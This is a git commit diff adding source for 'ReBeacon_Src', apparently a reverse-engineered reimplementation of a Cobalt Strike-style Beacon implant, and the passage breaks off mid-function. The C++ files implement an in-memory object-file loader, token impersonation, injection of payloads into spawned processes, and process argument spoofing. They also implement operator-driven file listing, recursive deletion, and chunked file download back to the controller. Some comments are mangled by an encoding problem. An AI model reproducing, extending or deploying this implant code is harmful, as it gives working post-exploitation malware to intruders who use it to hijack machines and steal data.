commit afc4a01b5e27e5d6474245fc3a9dc5a6f4f1a4d5 Author: WBGlIl <18800148409@163.com> Date: Thu Sep 15 14:47:13 2022 +0800 first commit diff --git a/README.md b/README.md new file mode 100644 index 0000000..ad7f93a --- /dev/null +++ b/README.md @@ -0,0 +1 @@ +# ReBeacon_Src \ No newline at end of file diff --git a/ReBeacon_Src.sln b/ReBeacon_Src.sln new file mode 100644 index 0000000..cc0dc26 --- /dev/null +++ b/ReBeacon_Src.sln @@ -0,0 +1,31 @@ + +Microsoft Visual Studio Solution File, Format Version 12.00 +# Visual Studio Version 16 +VisualStudioVersion = 16.0.32428.217 +MinimumVisualStudioVersion = 10.0.40219.1 +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "ReBeacon_Src", "ReBeacon_Src\ReBeacon_Src.vcxproj", "{8EA564DA-E4A0-42D4-AD1B-E9847B5AA976}" +EndProject +Global + GlobalSection(SolutionConfigurationPlatforms) = preSolution + Debug|x64 = Debug|x64 + Debug|x86 = Debug|x86 + Release|x64 = Release|x64 + Release|x86 = Release|x86 + EndGlobalSection + GlobalSection(ProjectConfigurationPlatforms) = postSolution + {8EA564DA-E4A0-42D4-AD1B-E9847B5AA976}.Debug|x64.ActiveCfg = Debug|x64 + {8EA564DA-E4A0-42D4-AD1B-E9847B5AA976}.Debug|x64.Build.0 = Debug|x64 + {8EA564DA-E4A0-42D4-AD1B-E9847B5AA976}.Debug|x86.ActiveCfg = Debug|Win32 + {8EA564DA-E4A0-42D4-AD1B-E9847B5AA976}.Debug|x86.Build.0 = Debug|Win32 + {8EA564DA-E4A0-42D4-AD1B-E9847B5AA976}.Release|x64.ActiveCfg = Release|x64 + {8EA564DA-E4A0-42D4-AD1B-E9847B5AA976}.Release|x64.Build.0 = Release|x64 + {8EA564DA-E4A0-42D4-AD1B-E9847B5AA976}.Release|x86.ActiveCfg = Release|Win32 + {8EA564DA-E4A0-42D4-AD1B-E9847B5AA976}.Release|x86.Build.0 = Release|Win32 + EndGlobalSection + GlobalSection(SolutionProperties) = preSolution + HideSolutionNode = FALSE + EndGlobalSection + GlobalSection(ExtensibilityGlobals) = postSolution + SolutionGuid = {CD87FCD7-3682-4403-A4C2-7F655021898F} + EndGlobalSection +EndGlobal diff --git a/ReBeacon_Src/BeaconBof.cpp b/ReBeacon_Src/BeaconBof.cpp new file mode 100644 index 0000000..2b24313 --- /dev/null +++ b/ReBeacon_Src/BeaconBof.cpp @@ -0,0 +1,263 @@ +#include "BeaconBof.h" + + +void __cdecl BeaconInjectProcess(HANDLE hProc, int pid, char* payload, int p_len, int p_offset, char* arg, int a_len) +{ + ProcessInject(pid, 0, hProc, payload, p_len, p_offset, arg, a_len); +} +void __cdecl BeaconInjectTemporaryProcess(PROCESS_INFORMATION* pi, char* payload, int p_len,int p_offset,char* arg,int arg_len) +{ + ProcessInject(pi->dwProcessId, pi, pi->hProcess, payload, p_len, p_offset, arg, arg_len); +} + +void __cdecl BeaconGetSpawnTo(BOOL x86, char* buffer, int length) +{ + char path[256]; + + getspawntopath(path, x86); + if (length >= 256) + { + memcpy(buffer, path, 0x100u); + } + else + { + memcpy(buffer, path, length); + } +} + +BOOL __cdecl SetBeaconToken(HANDLE hToken, char* buffer) +{ + BeaconRevertToken(); + if (!ImpersonateLoggedOnUser(hToken) + || !DuplicateTokenEx(hToken, 0x2000000u, 0, SecurityDelegation, TokenPrimary, &pTokenHandle) + || !ImpersonateLoggedOnUser(pTokenHandle) + || !get_user_sid(0x100u, pTokenHandle, buffer)) + { + return 0; + } + BeaconTaskOutput(buffer, strlen(buffer), 15u); + return 1; +} + +BOOL __cdecl BeaconUseToken(HANDLE hToken) +{ + + char* buffer = (char*)malloc(256u); + memset(buffer, 0, 256); + BOOL ret = SetBeaconToken(hToken, buffer); + memset(buffer, 0, 256); + free(buffer); + return ret; +} +void __cdecl BeaconOutput(int type, char* data, int len) +{ + BeaconTaskOutput(data, len, type); +} +void __cdecl BeaconPrintf(int type, char* fmt, ...) +{ + va_list ArgList=0; + va_start(ArgList, fmt); + int size = vprintf(fmt, ArgList); + if (size > 0) + { + char* buffer = (char*)malloc(size + 1); + buffer[size] = 0; + vsprintf_s(buffer, size + 1, fmt, ArgList); + BeaconTaskOutput(buffer ,size, type); + memset(buffer, 0, size); + free(buffer); + } +} +void InitInternalFunctions(BeaconInternalFunctions* InternalFunctions) +{ + memset(InternalFunctions, 0, 252); + InternalFunctions->LoadLibraryA = LoadLibraryA; + InternalFunctions->FreeLibrary = FreeLibrary; + InternalFunctions->GetProcAddress = GetProcAddress; + InternalFunctions->GetModuleHandleA = GetModuleHandleA; + InternalFunctions->BeaconDataParse = BeaconDataParse; + InternalFunctions->BeaconDataPtr = BeaconDataPtr; + InternalFunctions->BeaconDataInt = BeaconDataInt; + InternalFunctions->BeaconDataShort = BeaconDataShort; + InternalFunctions->BeaconDataLength = BeaconDataLength; + InternalFunctions->BeaconDataExtract = BeaconDataExtract; + InternalFunctions->BeaconFormatAlloc = BeaconFormatAlloc; + InternalFunctions->BeaconFormatReset = BeaconFormatReset; + InternalFunctions->BeaconFormatAppend = BeaconFormatAppend; + InternalFunctions->BeaconFormatPrintf = BeaconFormatPrintf; + InternalFunctions->BeaconFormatToString = BeaconFormatToString; + InternalFunctions->BeaconFormatFree = BeaconFormatFree; + InternalFunctions->BeaconFormatInt = BeaconFormatInt; + InternalFunctions->BeaconOutput = BeaconOutput; + InternalFunctions->BeaconPrintf = BeaconPrintf; + InternalFunctions->BeaconErrorD = BeaconErrorD; + InternalFunctions->BeaconErrorDD = BeaconErrorDD; + InternalFunctions->BeaconErrorNA = BeaconErrorNA; + InternalFunctions->BeaconUseToken = BeaconUseToken; + InternalFunctions->BeaconRevertToken = BeaconRevertToken; + InternalFunctions->BeaconIsAdmin = is_admin; + InternalFunctions->BeaconGetSpawnTo = BeaconGetSpawnTo; + InternalFunctions->BeaconInjectProcess = BeaconInjectProcess; + InternalFunctions->BeaconInjectTemporaryProcess = BeaconInjectTemporaryProcess; + InternalFunctions->BeaconSpawnTemporaryProcess = BeaconSpawnTemporaryProcess; + InternalFunctions->BeaconCleanupProcess = BeaconcloseAllHandle; + InternalFunctions->toWideChar = toWideChar; +} + +int FixRelocation(BeaconBofRelocation* pBofRelocation, char* pcode_data, char* seg, int OffsetInSection, char* bof_code) +{ + if (pBofRelocation->Type == 6) + { + *(DWORD*)&pcode_data[pBofRelocation->offset] += (DWORD)&seg[OffsetInSection]; + return 1; + } + if (pBofRelocation->Type == 20) + { + *(DWORD*)&pcode_data[pBofRelocation->offset] = (DWORD)&seg[*(DWORD*)&pcode_data[pBofRelocation->offset] + - pBofRelocation->offset + - (DWORD)bof_code + - 4 + + OffsetInSection]; + return 1; + } + BeaconErrorD(79, pBofRelocation->Type); + return 0; +} + + +char* GetBeaconFunPtr(BeaconInternalFunctions* pinternalFunctions, char* pfun) +{ + char** p_end = &pinternalFunctions->end; + int number = 0 ; + char** pbeaconfun = &pinternalFunctions->end; + do + { + if (*pbeaconfun == pfun) + { + return (char*)(&pinternalFunctions->end + number); + } + ++number; + ++pbeaconfun; + } while (number < 32); + + number = 0; + while (*p_end) + { + ++number; + ++p_end; + if (number >= 32) + { + return 0; + } + } + char* fun = (char*)(&pinternalFunctions->end + number); + *(char**)fun = pfun; + return fun; +} + +void __cdecl beacon_bof(char* Taskdata, int Tasksize) +{ + + BeaconInternalFunctions* internalFunctions = (BeaconInternalFunctions*)malloc(252); + InitInternalFunctions(internalFunctions); + +// 4 getEntryPoint +// 4 code +// 4 rdata +// 4 data2 +// 4 relocations +// 4 args + datap pdatap; + BeaconDataParse(&pdatap, Taskdata, Tasksize); + int getEntryPoint = BeaconDataInt(&pdatap); + + int code_size = 0; + char* pcode = BeaconDataPtr3(&pdatap,&code_size); + + int rdata_size = 0; + char* prdata = BeaconDataPtr3(&pdatap, &rdata_size); + + int data2_size = 0; + char* pdata2 = BeaconDataPtr3(&pdatap, &data2_size); + + int relocations_size = 0; + char* prelocations = BeaconDataPtr3(&pdatap, &relocations_size); + + int alen = 0; + char* args = BeaconDataPtr3(&pdatap, &alen); + + char* bof_code = (char*)VirtualAlloc(0, code_size, 0x3000u, get_short(43)); + if (bof_code) + { + + datap pdatap; + BeaconDataParse(&pdatap, prelocations, relocations_size); + BeaconBofRelocation* pBofRelocation = (BeaconBofRelocation*)BeaconDataPtr(&pdatap, 12); + while (1) + { + BOOL status; + short id = pBofRelocation->id; + if (id == 1028) // SYMBOL_END + { + break; + } + if (id == 1024) // SYMBOL_RDATA + { + status = FixRelocation(pBofRelocation, pcode, prdata, pBofRelocation->OffsetInSection, bof_code);//޸rdataضλ + } + else if (id == 1025) // SYMBOL_DATA + { + status = FixRelocation(pBofRelocation, pcode, pdata2, pBofRelocation->OffsetInSection, bof_code);//޸DATAضλ + } + else if (id == 1026) // SYMBOL_TEXT + { + status = FixRelocation(pBofRelocation, pcode, bof_code, pBofRelocation->OffsetInSection, bof_code);//޸codeضλ + } + else + { + char* pfun; + if (id == 1027) // SYMBOL_DYNAMICF + { + char* strModule = BeaconDataPtr2(&pdatap); + char* strFunction = BeaconDataPtr2(&pdatap); + HMODULE dllbase = GetModuleHandleA(strModule); + if (!dllbase) + { + dllbase = LoadLibraryA(strModule); + } + FARPROC functionaddress = GetProcAddress(dllbase, strFunction); + if (!functionaddress) + { + BeaconErrorFormat(76, (char*)"%s!%s", strModule, strFunction); + return; + } + char* p = GetBeaconFunPtr(internalFunctions, (char*)functionaddress); + if (!p) + { + BeaconErrorNA(0x4Eu); + return; + } + pfun = p; + } + else//޸ + { + pfun = (char*)(&internalFunctions->LoadLibraryA + id); + } + status = FixRelocation(pBofRelocation, pcode, pfun, 0, bof_code); + } + if (!status) + { + return; + } + pBofRelocation = (BeaconBofRelocation*)BeaconDataPtr(&pdatap, 12); + } + memcpy(bof_code, pcode, code_size); + memset(pcode, 0, code_size); + if (CheckMemoryRWX(bof_code, code_size)) + { + ((void(__cdecl*)(char*, UINT)) & bof_code[getEntryPoint])(args, alen); + } + VirtualFree(bof_code, 0, 0x8000); + free(internalFunctions); + } +} \ No newline at end of file diff --git a/ReBeacon_Src/BeaconBof.h b/ReBeacon_Src/BeaconBof.h new file mode 100644 index 0000000..25d73e1 --- /dev/null +++ b/ReBeacon_Src/BeaconBof.h @@ -0,0 +1,85 @@ +#pragma once +#include "Utils.h" +#include "Global.h" +#include "comm.h" +#include "common.h" +#include "BeaconInject.h" + +typedef HMODULE(__stdcall* fpLoadLibraryA)(LPCSTR lpLibFileName); +typedef BOOL(__stdcall* fpFreeLibrary)(HMODULE hLibModule); +typedef FARPROC(__stdcall* fpGetProcAddress)(HMODULE hModule, LPCSTR lpProcName); +typedef HMODULE(__stdcall* fpGetModuleHandleA)(LPCSTR lpModuleName); +typedef void(__cdecl* fpBeaconDataParse)(datap* parser, char* buffer, int size); +typedef char* (__cdecl* fpBeaconDataPtr)(datap* parser, int size); +typedef int(__cdecl* fpBeaconDataInt)(datap* parser); +typedef short(__cdecl* fpBeaconDataShort)(datap* parser); +typedef int(__cdecl* fpBeaconDataLength)(datap* parser); +typedef char* (__cdecl* fpBeaconDataExtract)(datap* parser, int* size); +typedef void(__cdecl* fpBeaconFormatAlloc)(formatp* format, int maxsz); +typedef void(__cdecl* fpBeaconFormatReset)(formatp* format); +typedef void(__cdecl* fpBeaconFormatAppend)(formatp* format, char* text, int len); +typedef void(__cdecl* fpBeaconFormatPrintf)(formatp* format, char* fmt, ...); +typedef char* (__cdecl* fpBeaconFormatToString)(formatp* format, int* size); +typedef void(__cdecl* fpBeaconFormatFree)(formatp* format); +typedef void(__cdecl* fpBeaconFormatInt)(formatp* format, int value); +typedef void(__cdecl* fpBeaconOutput)(int type, char* data, int len); +typedef void(__cdecl* fpBeaconPrintf)(int type, char* fmt, ...); +typedef void(__cdecl* fpBeaconErrorD)(int BeaconErrorsType, DWORD error_code); +typedef void(__cdecl* fpBeaconErrorDD)(int BeaconErrorsType, int err_msg, u_long err_code_msg); +typedef void(__cdecl* fpBeaconErrorNA)(int BeaconErrorsType); +typedef BOOL(__cdecl* fpBeaconUseToken)(HANDLE token); +typedef BOOL(__cdecl* fpBeaconIsAdmin)(); +typedef void(__cdecl* fpBeaconRevertToken)(); +typedef void(__cdecl* fpBeaconGetSpawnTo)(BOOL x86, char* buffer, int length); +typedef void(__cdecl* fpBeaconInjectProcess)(HANDLE hProc, int pid, char* payload, int p_len, int p_offset, char* arg, int a_len); +typedef void(__cdecl* fpBeaconInjectTemporaryProcess)(PROCESS_INFORMATION* pInfo, char* payload, int p_len, int p_offset, char* arg, int a_len); +typedef BOOL(__cdecl* fpBeaconSpawnTemporaryProcess)(BOOL x86, BOOL ignoreToken, STARTUPINFOA* si, PROCESS_INFORMATION* pInfo); +typedef void(__cdecl* fpBeaconCleanupProcess)(PROCESS_INFORMATION* pInfo); +typedef BOOL(__cdecl* fptoWideChar)(char* src, wchar_t* dst, unsigned int max); + +//עһҪ˳ҪˣΪcsǰŽ +struct BeaconInternalFunctions +{ + fpLoadLibraryA LoadLibraryA; + fpFreeLibrary FreeLibrary; + fpGetProcAddress GetProcAddress; + fpGetModuleHandleA GetModuleHandleA; + fpBeaconDataParse BeaconDataParse; + fpBeaconDataPtr BeaconDataPtr; + fpBeaconDataInt BeaconDataInt; + fpBeaconDataShort BeaconDataShort; + fpBeaconDataLength BeaconDataLength; + fpBeaconDataExtract BeaconDataExtract; + fpBeaconFormatAlloc BeaconFormatAlloc; + fpBeaconFormatReset BeaconFormatReset; + fpBeaconFormatAppend BeaconFormatAppend; + fpBeaconFormatPrintf BeaconFormatPrintf; + fpBeaconFormatToString BeaconFormatToString; + fpBeaconFormatFree BeaconFormatFree; + fpBeaconFormatInt BeaconFormatInt; + fpBeaconOutput BeaconOutput; + fpBeaconPrintf BeaconPrintf; + fpBeaconErrorD BeaconErrorD; + fpBeaconErrorDD BeaconErrorDD; + fpBeaconErrorNA BeaconErrorNA; + fpBeaconUseToken BeaconUseToken; + fpBeaconRevertToken BeaconRevertToken; + fpBeaconIsAdmin BeaconIsAdmin; + fpBeaconGetSpawnTo BeaconGetSpawnTo; + fpBeaconInjectProcess BeaconInjectProcess; + fpBeaconInjectTemporaryProcess BeaconInjectTemporaryProcess; + fpBeaconSpawnTemporaryProcess BeaconSpawnTemporaryProcess; + fpBeaconCleanupProcess BeaconCleanupProcess; + fptoWideChar toWideChar; + char* end; +}; + +struct BeaconBofRelocation +{ + short Type; + short id; + int offset; + int OffsetInSection; +}; + +void __cdecl beacon_bof(char* Taskdata, int Tasksize); \ No newline at end of file diff --git a/ReBeacon_Src/BeaconFileManage.cpp b/ReBeacon_Src/BeaconFileManage.cpp new file mode 100644 index 0000000..ae8b020 --- /dev/null +++ b/ReBeacon_Src/BeaconFileManage.cpp @@ -0,0 +1,309 @@ +#include "BeaconFileManage.h" + +void BeaconLs(char* Taskdata, int Task_size) +{ + SYSTEMTIME SystemTime; + SYSTEMTIME LocalTime; + HANDLE FirstFileA; + + char* buff = (char*)malloc(0x4000); + memset(buff, 0, 0x4000u); + datap taskpdatap; + BeaconDataParse(&taskpdatap, Taskdata, Task_size); + int unknown = BeaconDataInt(&taskpdatap); + BeaconDataCopyToBuffer(&taskpdatap, buff, 0x4000); + formatp pdatap; + BeaconFormatAlloc((formatp*)&pdatap, 0x200000u); + BeaconFormatInt((formatp*)&pdatap, unknown); + if (!strncmp(buff, ".\\*", 0x4000)) + { + GetCurrentDirectoryA(0x4000u, buff); + strncat_s(buff, 0x4000u, "\\*", 2); + } + BeaconFormatPrintf((formatp*)&pdatap, (char*)"%s\n", buff); + WIN32_FIND_DATAA FindFileData; + FirstFileA = FindFirstFileA(buff, &FindFileData); + if (FirstFileA == (HANDLE)-1) + { + BeaconTaskError1Output(52, GetLastError(), buff); + int length = BeaconFormatlength((formatp*)&pdatap); + char* buffer = BeaconFormatOriginalPtr((formatp*)&pdatap); + BeaconTaskOutput(buffer, length, 22); + free(buff); + } + else + { + free(buff); + do + { + FileTimeToSystemTime(&FindFileData.ftLastWriteTime, &SystemTime); + SystemTimeToTzSpecificLocalTime(0, &SystemTime, &LocalTime); + if ((FindFileData.dwFileAttributes & 0x10) != 0) + { + BeaconFormatPrintf( + (formatp*)&pdatap, + (char*)"D\t0\t%02d/%02d/%02d %02d:%02d:%02d\t%s\n", + LocalTime.wMonth, + LocalTime.wDay, + LocalTime.wYear, + LocalTime.wHour, + LocalTime.wMinute, + LocalTime.wSecond, + FindFileData.cFileName); + } + else + { + BeaconFormatPrintf( + (formatp*)&pdatap, + (char*)"F\t%I64d\t%02d/%02d/%02d %02d:%02d:%02d\t%s\n", + __PAIR64__(FindFileData.nFileSizeHigh, FindFileData.nFileSizeLow), + LocalTime.wMonth, + LocalTime.wDay, + LocalTime.wYear, + LocalTime.wHour, + LocalTime.wMinute, + LocalTime.wSecond, + FindFileData.cFileName); + } + } while (FindNextFileA(FirstFileA, &FindFileData)); + FindClose(FirstFileA); + int length = BeaconFormatlength((formatp*)&pdatap); + char* buffer = BeaconFormatOriginalPtr((formatp*)&pdatap); + BeaconTaskOutput(buffer, length, 0x16u); + } + BeaconFormatFree((formatp*)&pdatap); +} + + +void beacon_MkDir(char* Taskdata, int Task_size) +{ + datap pdatap; + BeaconDataParse(&pdatap, Taskdata, Task_size); + char* buffer = (char*)malloc(0x4000u); + BeaconDataCopyNToBuffer(&pdatap, buffer, 0x4000); + _mkdir(buffer); + free(buffer); +} + +void GetDrivesList(char* Taskdata, int Task_size) +{ + + datap pdatap; + BeaconDataParse(&pdatap, Taskdata, Task_size); + int unknown = BeaconDataInt(&pdatap); + + formatp pformatp; + BeaconFormatAlloc(&pformatp, 0x80u); + BeaconFormatInt(&pformatp, unknown); + DWORD LogicalDrives = GetLogicalDrives(); + BeaconFormatPrintf(&pformatp, (char*)"%u", LogicalDrives); + int length = BeaconFormatlength(&pformatp); + char* buffer = BeaconFormatOriginalPtr(&pformatp); + BeaconTaskOutput(buffer, length, 22); + BeaconFormatFree(&pformatp); +} + + +BOOL isDirectory(LPCSTR lpFileName) +{ + return (GetFileAttributesA(lpFileName) & FILE_ATTRIBUTE_DIRECTORY) == 16; +} + +void __cdecl CallbackDelFile(const char* path, const char* name, int type) +{ + char* buffer = (char*)malloc(0x4000u); + memset(buffer, 0, 0x4000); + _snprintf(buffer, 0x4000u, "%s\\%s", path, name); + if (type) + { + _rmdir(buffer); + } + else + { + remove(buffer); + } + free(buffer); +} + +void DeleteAllFile(char* buffer) +{ + struct _WIN32_FIND_DATAA FindFileData; + + TraverseDeleteFile(buffer, &FindFileData, CallbackDelFile); +} + + + +void TraverseDeleteFile(char* path, LPWIN32_FIND_DATAA lpFindFileData, CallbackDelFilePtr Callback_fun) +{ + char* buffer = (char*)malloc(0x8000u); + _snprintf(buffer, 0x8000u, "%s\\*", path); + HANDLE hFindFile = FindFirstFileA(buffer, lpFindFileData); + free(buffer); + if (hFindFile != (HANDLE)-1) + { + do + { + if ((lpFindFileData->dwFileAttributes & 0x10) != 0) + { + if (strcmp(lpFindFileData->cFileName, ".")) + { + if (strcmp(lpFindFileData->cFileName, "..")) + { + char* temp = (char*)malloc(0x8000u); + _snprintf(temp, 0x8000u, "%s", lpFindFileData->cFileName); + RecursionTraverseDeleteFile(path, lpFindFileData->cFileName, lpFindFileData, Callback_fun); + Callback_fun(path, temp, 1); + free(temp); + } + } + } + else + { + Callback_fun(path, lpFindFileData->cFileName, 0); + } + } while (FindNextFileA(hFindFile, lpFindFileData)); + FindClose(hFindFile); + } +} +void RecursionTraverseDeleteFile(char* path, char* Name, LPWIN32_FIND_DATAA lpFindFileData, CallbackDelFilePtr Callback) +{ + char* buffer = (char*)malloc(0x8000u); + _snprintf(buffer, 0x8000u, "%s\\%s", path, Name); + TraverseDeleteFile(buffer, lpFindFileData, Callback); + free(buffer); +} +void beacon_rm(char* Taskdata, int Task_size) +{ + datap pdatap; + BeaconDataParse(&pdatap, Taskdata, Task_size); + char* buffer = (char*)malloc(0x4000u); + BeaconDataCopyNToBuffer(&pdatap, buffer, 0x4000); + if (isDirectory(buffer)) + { + DeleteAllFile(buffer); + _rmdir(buffer); + } + else + { + remove(buffer); + } + free(buffer); +} + +void beacon_copy(char* Taskdata, int Task_size) +{ + + datap* pdatap = BeaconDataInit(0x4000u); + char* lpExistingFileName = BeaconDataPtr(pdatap, 0x2000); + char* lpNewFileName = BeaconDataPtr(pdatap, 0x2000); + + datap ptaskdatap; + BeaconDataParse(&ptaskdatap, Taskdata, Task_size); + BeaconDataCopyToBuffer(&ptaskdatap, lpExistingFileName, 0x2000); + BeaconDataCopyToBuffer(&ptaskdatap,lpNewFileName, 0x2000); + if (!CopyFileA(lpExistingFileName, lpNewFileName, 0)) + { + BeaconErrorD(0xDu, GetLastError()); + } + BeaconDataClear(pdatap); + BeaconDataFree(pdatap); +} + +void beacon_Move(char* Taskdata, int Task_size) +{ + + datap* pdatap = BeaconDataInit(0x4000u); + char* lpExistingFileName = BeaconDataPtr(pdatap, 0x2000); + char* lpNewFileName = BeaconDataPtr(pdatap, 0x2000); + + datap ptaskdatap; + BeaconDataParse(&ptaskdatap, Taskdata, Task_size); + BeaconDataCopyToBuffer(&ptaskdatap, lpExistingFileName, 0x2000); + BeaconDataCopyToBuffer(&ptaskdatap, lpNewFileName, 0x2000); + if (!MoveFileA(lpExistingFileName, lpNewFileName)) + { + BeaconErrorD(0xEu, GetLastError()); + } + BeaconDataClear(pdatap); + BeaconDataFree(pdatap); +} +void CheckDownloadIsOK(BeaconDownload* pBeaconDownload) +{ + if (!pBeaconDownload->size) + { + int number = htonl(pBeaconDownload->number); + BeaconTaskOutput((char*)&number, 4, 9); + fclose(pBeaconDownload->fp); + } +} +char* download_data; +void TransferFileData(BeaconDownload* pBeaconDownload, size_t size) +{ + + if (!download_data) + { + download_data = (char*)malloc(0x80004u); + } + *(int*)download_data = htonl(pBeaconDownload->number); + int dsize = pBeaconDownload->size; + if (dsize > size) + { + dsize = size; + } + int readsize =0; + while (dsize) + { + int readlen = fread(&download_data[readsize + 4], 1u, dsize, pBeaconDownload->fp); + if (!readlen) + { + pBeaconDownload->size = 0; + break; + } + readsize += readlen; + dsize -= readlen; + pBeaconDownload->size -= readlen; + } + BeaconTaskOutput(download_data, readsize + 4, 8); // ļ + CheckDownloadIsOK(pBeaconDownload); +} + +void __cdecl CheckDownload(size_t size) +{ + + BeaconDownload* pgBeaconDownload = gBeaconDownload; + if (pgBeaconDownload) + { + do + { + if (pgBeaconDownload->size) + { + TransferFileData(pgBeaconDownload, size); + } + pgBeaconDownload = pgBeaconDownload->Linked; + } while (pgBeaconDownload); + + pgBeaconDownload = gBeaconDownload; + BeaconDownload* temp=0; + while (pgBeaconDownload) + { + if (pgBeaconDownload->size) + { + temp = pgBeaconDownload; + pgBeaconDownload = pgBeaconDownload->Linked; + } + else + { + if (!temp) + { + gBeaconDownload = pgBeaconDownload->Linked; + free(pgBeaconDownload); + return; + } + temp->Linked = pgBeaconDownload->Linked; + free(pgBeaconDownload); + pgBeaconDownload = temp->Linked; + } + } + } +} \ No newline at end of file diff --git a/ReBeacon_Src/BeaconFileManage.h b/ReBeacon_Src/BeaconFileManage.h new file mode 100644 index 0000000..d814966 --- /dev/null +++ b/ReBeacon_Src/BeaconFileManage.h @@ -0,0 +1,26 @@ +#pragma once +#include "Utils.h" +#include "comm.h" +#include "common.h" +#include + +void BeaconLs(char* Taskdata, int Task_size); + +void beacon_MkDir(char* Taskdata, int Task_size); + +void GetDrivesList(char* Taskdata, int Task_size); + +void beacon_rm(char* Taskdata, int Task_size); + +typedef void(__cdecl *CallbackDelFilePtr)(const char* path, const char* name, int type); +void CallbackDelFile(const char* path, const char* name, int type); + +void DeleteAllFile(char* buffer); + +void TraverseDeleteFile(char* path, LPWIN32_FIND_DATAA lpFindFileData, CallbackDelFilePtr Callback_fun); + +void RecursionTraverseDeleteFile(char* path, char* Name, LPWIN32_FIND_DATAA lpFindFileData, CallbackDelFilePtr Callback); + +void beacon_copy(char* Taskdata, int Task_size); + +void beacon_Move(char* Taskdata, int Task_size); \ No newline at end of file diff --git a/ReBeacon_Src/BeaconInject.cpp b/ReBeacon_Src/BeaconInject.cpp new file mode 100644 index 0000000..034d253 --- /dev/null +++ b/ReBeacon_Src/BeaconInject.cpp @@ -0,0 +1,1069 @@ +#include "BeaconInject.h" +#include "BeaconJob.h" +#include "BeaconX64.h" + + +void resolve_spawntopath(LPSTR lpDst, BOOL x86) +{ + char Buffer[256]; + memset(Buffer, 0, sizeof(Buffer)); + if (!x86) + { + if (spawntoPath_x64 && strlen(spawntoPath_x64)) + { + _snprintf(Buffer, 0x100u, "%s", spawntoPath_x64); + BeaconExpandEnvironmentStringsA(Buffer, lpDst, 0x100u); + return; + } + char* post_ex_spawnto_x64 = get_str(30); + _snprintf(Buffer, 0x100u, "%s", post_ex_spawnto_x64); + BeaconExpandEnvironmentStringsA(Buffer, lpDst, 0x100); + return; + } + if (!spawntoPath_x86 || !strlen(spawntoPath_x86)) + { + char* post_ex_spawnto_x86 = get_str(29); + _snprintf(Buffer, 0x100u, "%s", post_ex_spawnto_x86); + BeaconExpandEnvironmentStringsA(Buffer, lpDst, 0x100); + return; + } +} + + +void getspawntopath(char* path_buffer, BOOL x86) +{ + + memset(path_buffer, 0, 256); + if (!x86) + { + resolve_spawntopath(path_buffer, 0); + return; + } + HANDLE hPrcoess = GetCurrentProcess(); + if (Is_Wow64(hPrcoess)) + { + resolve_spawntopath(path_buffer, 1); + return; + } + resolve_spawntopath(path_buffer, 1); + char* pch = strstr(path_buffer, "syswow64"); + if (pch) + { + memcpy(pch, "system32", 8); + } +} + +/// +/// ƥBeaconõĽ̲ƭ +/// +/// +/// +/// +BOOL BeaconProcessParameterSpoofing(char* cmd, BeaconParameterSpoofing* pBPS) +{ + BeaconSpoofArgs* i; + + for (i = gBeaconParameterSpoofing; ; i = i->Linked) + { + if (!i) + { + return 0; + } + if (i->state == 1 && strstr(cmd, i->cmd1) == cmd) + { + break; + } + } + pBPS->cmd2 = i->cmd2; + pBPS->cmd = cmd; + return 1; +} + +int sub_1000357A(BeaconStartProcess* pBeaconStartProcess, LPWSTR lpCommandLine, LPCWSTR lpCurrentDirectory) +{ + + if (CreateProcessWithLogonW( + lpWideCharStr, + lpDomain, + lpPassword, + LOGON_NETCREDENTIALS_ONLY, + 0, + lpCommandLine, + pBeaconStartProcess->dwCreationFlags, + 0, + lpCurrentDirectory, + (LPSTARTUPINFOW)pBeaconStartProcess->pSTARTUPINFOA, + pBeaconStartProcess->pPROCESS_INFORMATION)) + { + return 1; + } + if (GetLastError() != ERROR_PATH_NOT_FOUND) + { + DWORD LastError = GetLastError(); + BeaconTaskError1Output(0x45u, LastError, pBeaconStartProcess->path); + return 0; + } + if (strlen(pBeaconStartProcess->path) >= 0x100) + { + DWORD LastError = GetLastError(); + BeaconTaskError1Output(0x45u, LastError, pBeaconStartProcess->path); + return 0; + } + char Src[256] = {0}; + char* s = strstr(pBeaconStartProcess->path, "sysnative"); + if (s) + { + memset(Src, 0, sizeof(Src)); + memcpy(s, "system32", 8); + s += 9; + memcpy(Src, s, strlen(s)); + strcpy(s - 1, Src); + return sub_10003687(pBeaconStartProcess); + } + else + { + DWORD LastError = GetLastError(); + BeaconTaskError1Output(0x45u, LastError, pBeaconStartProcess->path); + return 0; + } +} + + +int __cdecl sub_10003687(BeaconStartProcess* pBeaconStartProcess) +{ + + WCHAR CommandLine[1024] = { 0 }; + WCHAR lpCurrentDirectory[1024] = { 0 }; + pBeaconStartProcess->pSTARTUPINFOA->lpDesktop = 0; + if (toWideChar(pBeaconStartProcess->path, CommandLine, 1024)) + { + if (GetCurrentDirectoryW(0, 0) < 1024) + { + GetCurrentDirectoryW(1024, lpCurrentDirectory); + } + if (CreateProcessWithTokenW( + pTokenHandle, + LOGON_NETCREDENTIALS_ONLY, + 0, + CommandLine, + pBeaconStartProcess->dwCreationFlags, + 0, + lpCurrentDirectory, + (LPSTARTUPINFOW)pBeaconStartProcess->pSTARTUPINFOA, + pBeaconStartProcess->pPROCESS_INFORMATION)) + { + return 1; + } + if (GetLastError() == ERROR_PRIVILEGE_NOT_HELD && Create_token_Flag == 1) + { + return sub_1000357A(pBeaconStartProcess, CommandLine, lpCurrentDirectory); + } + if (GetLastError() == ERROR_INVALID_PARAMETER && pBeaconStartProcess->pSTARTUPINFOA->cb == 72) + { + DWORD LastError = GetLastError(); + BeaconTaskError1Output(0x4A, LastError, pBeaconStartProcess->path); + } + else + { + if (GetLastError() == ERROR_PATH_NOT_FOUND && strlen(pBeaconStartProcess->path) < 0x100) + { + char Src[256] = {0}; + char* s = strstr(pBeaconStartProcess->path, "sysnative"); + if (s) + { + memset(Src, 0, sizeof(Src)); + memcpy(s, "system32", 8); + s += 9; + memcpy(Src, s, strlen(s)); + strcpy(s - 1, Src); + return sub_10003687(pBeaconStartProcess); + } + } + BeaconTaskError1Output(0x29u, GetLastError(), pBeaconStartProcess->path); + } + } + else + { + BeaconErrorD(7u, pBeaconStartProcess->path_size); + } + return 0; +} + + + +int sub_10003889(BeaconStartProcess* pBeaconStartProcess) +{ + + if (!pTokenHandle || pBeaconStartProcess->dwCreationFlags) + { + if (!CreateProcessA( + NULL, + pBeaconStartProcess->path, + NULL, + NULL, + TRUE, + pBeaconStartProcess->dwCreationFlags, + NULL, + NULL, + pBeaconStartProcess->pSTARTUPINFOA, + pBeaconStartProcess->pPROCESS_INFORMATION)) + { + int LastError = GetLastError(); + BeaconTaskError1Output(0x30, LastError, pBeaconStartProcess->path); + return 0; + } + } + else if (!CreateProcessAsUserA( + 